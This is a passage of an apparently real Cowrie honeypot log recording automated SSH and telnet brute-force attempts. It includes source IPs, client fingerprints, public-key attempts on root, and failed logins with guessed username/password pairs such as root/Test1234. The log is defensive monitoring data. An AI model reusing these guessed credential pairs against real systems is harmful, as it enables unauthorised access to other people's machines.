AAAAB3NzaC1yc2EAAAADAQABAAACAQCYZ0Ewvr3hGZ6iKuxQMU333MA+V7e/T4/zGG+tDzcJ+G7GYrzbW8VBAiDcbdWNcljZAL92pk5HYifBcOloNeTbtcN9W1GH2YlXJe/5Z9u+F8gmCij1yk8PM4j4UCNTBtWTq7jO2bFVPS6IEt5DFQY8x46n7pzDJwh709pDsNhVDxvhzgJljK7n+GZZTMP9QwzFA6G6j2U3daf93ExCRyMRjKgt3tdmf3b2xCgsIIcb5ATfA6bThfibvcf5RHIIDz4KfT0kAxn9UbL0T4ARa7TGsG4tYPcH7P/SvkudHBf4COo/lp3cxTf3KJhUAEiOUqmBVAH6gvDnT+pmo90/2Qj8da/dlrjvRF9gyk8JtDZEHJ6EO5StnXnLqKUDu8zIreNly7lOmWj8e74XyGgK7Ze5ljFPQgqc/wo9xtuWEPhFCRnbJ+jsZrdVtiIkMtZja5TknwFpiLsnpgo1AWbIuE5/bmHNkjd6HI20Neo7gDyppe+N4Rhbe9IODHS7apfbosQI8R89RUzE2KfwXihSkJvYiCXNzk9xu6437U71fbsAECLi9J/6c34XsVhrt0sVfaJIaX+kgR1KqrVr1JsCpIGMhyMlcytk1GFTGK0GAjyh6LOi8DyxaN6AuOGI9g4F5Y/VTa3LzpgKJhSJ60qSCkNztz6tlpcZB5rc7odwDM39vQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:09.206132Z","src_ip":"217.154.145.209","session":"676878b08cba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:ac:a7:bb:71:35:43:28:f9:dc:e8:70:1b:98:0c:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCo07bq1gcy6PdeiU3j97TO2aFFrTMk4s2K8y42jdj0IKUh4VgrgE2nmGTky3vrXlf5Gnpce7X8VdCLCR9FNPvg+80L2PqoCz/miSl3HPWKg99jyynvSVXYl9qpLibi2O0g6Twz2+i/QtRXJzevGh2hwxnVGnnK/zrEktCZfwSXVn5RJuWcVsBbT8zctNY/gixcVOD3hqTbiZwFyo9/WV27PFWjQL6YBCUy+pRqTTCsq7eXYj6bDbfn0B76QC9HjEEzTfTCl90xpBL0dbwHhaiBiIQnkULe/drzCwOAxK5Yvs+moHgTLDySKr9aT05N4hA0yIwuF5alm5FqhPvVlzLbPYfkCHpxjM6wsOwHreiGF7Cn5UkTc0V5Ne4gZv5s6hESQHtjjNIOdz3w6jw86zbTd/PVhQs9Od7qKZ8WmdrLu346N6RT1n5bwjFIA+fyp+C3c69Jmi29uwFpLUBr1rFJ41inqlua79meuM1HJ1zK3FeCPnu7TTduKvIZpa8HHBG/uJ4mjMXWS21KBC/5xdy4KX4viwijqar9bPajq/mi64tU9WGe7iExyXSx6mfX1umpGM7Zi5k/LyfHoLNuanZgH5hZqNj6PTDfxOcLXI9Uhne3DxSDIvduxBRZtzvR5qwl4V+3ogCsUlYI0oRYkMAVsxYy1WMKslv2G+mKbfdi9Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:ac:a7:bb:71:35:43:28:f9:dc:e8:70:1b:98:0c:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:09.308250Z","src_ip":"217.154.145.209","session":"676878b08cba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:ac:a7:bb:71:35:43:28:f9:dc:e8:70:1b:98:0c:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCo07bq1gcy6PdeiU3j97TO2aFFrTMk4s2K8y42jdj0IKUh4VgrgE2nmGTky3vrXlf5Gnpce7X8VdCLCR9FNPvg+80L2PqoCz/miSl3HPWKg99jyynvSVXYl9qpLibi2O0g6Twz2+i/QtRXJzevGh2hwxnVGnnK/zrEktCZfwSXVn5RJuWcVsBbT8zctNY/gixcVOD3hqTbiZwFyo9/WV27PFWjQL6YBCUy+pRqTTCsq7eXYj6bDbfn0B76QC9HjEEzTfTCl90xpBL0dbwHhaiBiIQnkULe/drzCwOAxK5Yvs+moHgTLDySKr9aT05N4hA0yIwuF5alm5FqhPvVlzLbPYfkCHpxjM6wsOwHreiGF7Cn5UkTc0V5Ne4gZv5s6hESQHtjjNIOdz3w6jw86zbTd/PVhQs9Od7qKZ8WmdrLu346N6RT1n5bwjFIA+fyp+C3c69Jmi29uwFpLUBr1rFJ41inqlua79meuM1HJ1zK3FeCPnu7TTduKvIZpa8HHBG/uJ4mjMXWS21KBC/5xdy4KX4viwijqar9bPajq/mi64tU9WGe7iExyXSx6mfX1umpGM7Zi5k/LyfHoLNuanZgH5hZqNj6PTDfxOcLXI9Uhne3DxSDIvduxBRZtzvR5qwl4V+3ogCsUlYI0oRYkMAVsxYy1WMKslv2G+mKbfdi9Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:09.312310Z","src_ip":"217.154.145.209","session":"676878b08cba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:6e:99:78:d4:3b:04:a4:db:25:f9:b0:93:93:b1:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAux/ZgR4J9zpb3Pv8o/F3Nsvtv49nqJCXVfTmlye124+73gORrOX0BgpcQhN7tAOt3R9+aewnB6J6hFSC7x33ax3F0S8zv2V0QDoMXUC6O1C5TTq1RqgzmPMK/tY5VfXYs5vqgTKqlyw8cI09nMYXY6Or9j47TrV7O5GAzyfXDZVBNj8Ir/us4HEMCbwMg26mGb/nmHjE62a1s8tZkOzZXHfl96Ot245Q1lx5YSZy8yEMTocrdfkw3ZC0FG7Pkj9zE9jX6P02zbzmkuSceP7BdpaV39wiKardhOtmjLk4QEO1ha2EAO0QKDPKInFXTN7qnNmlXD0LgrJpwBAmlQ+vtw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:6e:99:78:d4:3b:04:a4:db:25:f9:b0:93:93:b1:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:09.414503Z","src_ip":"217.154.145.209","session":"676878b08cba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:6e:99:78:d4:3b:04:a4:db:25:f9:b0:93:93:b1:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAux/ZgR4J9zpb3Pv8o/F3Nsvtv49nqJCXVfTmlye124+73gORrOX0BgpcQhN7tAOt3R9+aewnB6J6hFSC7x33ax3F0S8zv2V0QDoMXUC6O1C5TTq1RqgzmPMK/tY5VfXYs5vqgTKqlyw8cI09nMYXY6Or9j47TrV7O5GAzyfXDZVBNj8Ir/us4HEMCbwMg26mGb/nmHjE62a1s8tZkOzZXHfl96Ot245Q1lx5YSZy8yEMTocrdfkw3ZC0FG7Pkj9zE9jX6P02zbzmkuSceP7BdpaV39wiKardhOtmjLk4QEO1ha2EAO0QKDPKInFXTN7qnNmlXD0LgrJpwBAmlQ+vtw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:09.418397Z","src_ip":"217.154.145.209","session":"676878b08cba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:09.523455Z","src_ip":"217.154.145.209","session":"676878b08cba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39230,"dst_ip":"10.17.0.5","dst_port":23,"session":"453cda2c277f","protocol":"telnet","message":"New connection: 152.42.224.71:39230 (10.17.0.5:23) [session: 453cda2c277f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:10.882345Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55492,"dst_ip":"159.203.135.109","dst_port":22,"session":"153a958ca926","protocol":"ssh","message":"New connection: 45.156.87.204:55492 (159.203.135.109:22) [session: 153a958ca926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:11.179804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:11.209884Z","src_ip":"45.156.87.204","session":"153a958ca926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:11.263578Z","src_ip":"45.156.87.204","session":"153a958ca926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongodb","password":"mongodb","message":"login attempt [mongodb/mongodb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:11.581921Z","src_ip":"45.156.87.204","session":"153a958ca926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:12.667620Z","src_ip":"45.156.87.204","session":"153a958ca926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":37744,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d1365cadf66","protocol":"ssh","message":"New connection: 45.156.87.204:37744 (159.203.135.109:22) [session: 1d1365cadf66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:14.719795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:14.725427Z","src_ip":"45.156.87.204","session":"1d1365cadf66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:14.812135Z","src_ip":"45.156.87.204","session":"1d1365cadf66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:15.065528Z","src_ip":"45.156.87.204","session":"1d1365cadf66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39232,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cd8a1756c49","protocol":"telnet","message":"New connection: 152.42.224.71:39232 (10.17.0.5:23) [session: 7cd8a1756c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:15.648634Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:16.281046Z","src_ip":"45.156.87.204","session":"1d1365cadf66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52200,"dst_ip":"10.17.0.5","dst_port":23,"session":"64a7b55d1f45","protocol":"telnet","message":"New connection: 152.42.224.71:52200 (10.17.0.5:23) [session: 64a7b55d1f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:16.490764Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":37748,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c5dee1db9e2","protocol":"ssh","message":"New connection: 45.156.87.204:37748 (159.203.135.109:22) [session: 5c5dee1db9e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:18.288636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:18.293553Z","src_ip":"45.156.87.204","session":"5c5dee1db9e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:18.600255Z","src_ip":"45.156.87.204","session":"5c5dee1db9e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kamran","password":"kamran","message":"login attempt [kamran/kamran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:18.960764Z","src_ip":"45.156.87.204","session":"5c5dee1db9e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":51398,"dst_ip":"159.203.135.109","dst_port":22,"session":"a745c0a56f67","protocol":"ssh","message":"New connection: 47.237.167.49:51398 (159.203.135.109:22) [session: a745c0a56f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:19.299406Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:20.045824Z","src_ip":"45.156.87.204","session":"5c5dee1db9e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52212,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac3cab4e8ca1","protocol":"telnet","message":"New connection: 152.42.224.71:52212 (10.17.0.5:23) [session: ac3cab4e8ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:21.237193Z"}
{"eventid":"cowrie.session.closed","duration":120.0020809173584,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:21.949714Z","src_ip":"152.42.224.71","session":"04a122db4c84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":37760,"dst_ip":"159.203.135.109","dst_port":22,"session":"671eb6a33723","protocol":"ssh","message":"New connection: 45.156.87.204:37760 (159.203.135.109:22) [session: 671eb6a33723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:22.122889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:22.127778Z","src_ip":"45.156.87.204","session":"671eb6a33723","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:22.210183Z","src_ip":"45.156.87.204","session":"671eb6a33723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu-server","password":"123456","message":"login attempt [ubuntu-server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:22.463981Z","src_ip":"45.156.87.204","session":"671eb6a33723","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52224,"dst_ip":"10.17.0.5","dst_port":23,"session":"31277b415c2f","protocol":"telnet","message":"New connection: 152.42.224.71:52224 (10.17.0.5:23) [session: 31277b415c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:23.218789Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:23.636894Z","src_ip":"45.156.87.204","session":"671eb6a33723","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53250,"dst_ip":"159.203.135.109","dst_port":22,"session":"0eb919877b9d","protocol":"ssh","message":"New connection: 45.156.87.204:53250 (159.203.135.109:22) [session: 0eb919877b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:25.562405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:25.570272Z","src_ip":"45.156.87.204","session":"0eb919877b9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.493321657180786,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:25.574450Z","src_ip":"152.42.224.71","session":"ad1778076c6d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:25.733682Z","src_ip":"45.156.87.204","session":"0eb919877b9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:26.133587Z","src_ip":"45.156.87.204","session":"0eb919877b9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:27.219442Z","src_ip":"45.156.87.204","session":"0eb919877b9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49128,"dst_ip":"10.17.0.5","dst_port":23,"session":"400bce414bea","protocol":"telnet","message":"New connection: 152.42.224.71:49128 (10.17.0.5:23) [session: 400bce414bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:28.682713Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49134,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc48cc52117e","protocol":"telnet","message":"New connection: 152.42.224.71:49134 (10.17.0.5:23) [session: fc48cc52117e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:28.722684Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53262,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1539dbdec32","protocol":"ssh","message":"New connection: 45.156.87.204:53262 (159.203.135.109:22) [session: c1539dbdec32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:29.448873Z"}
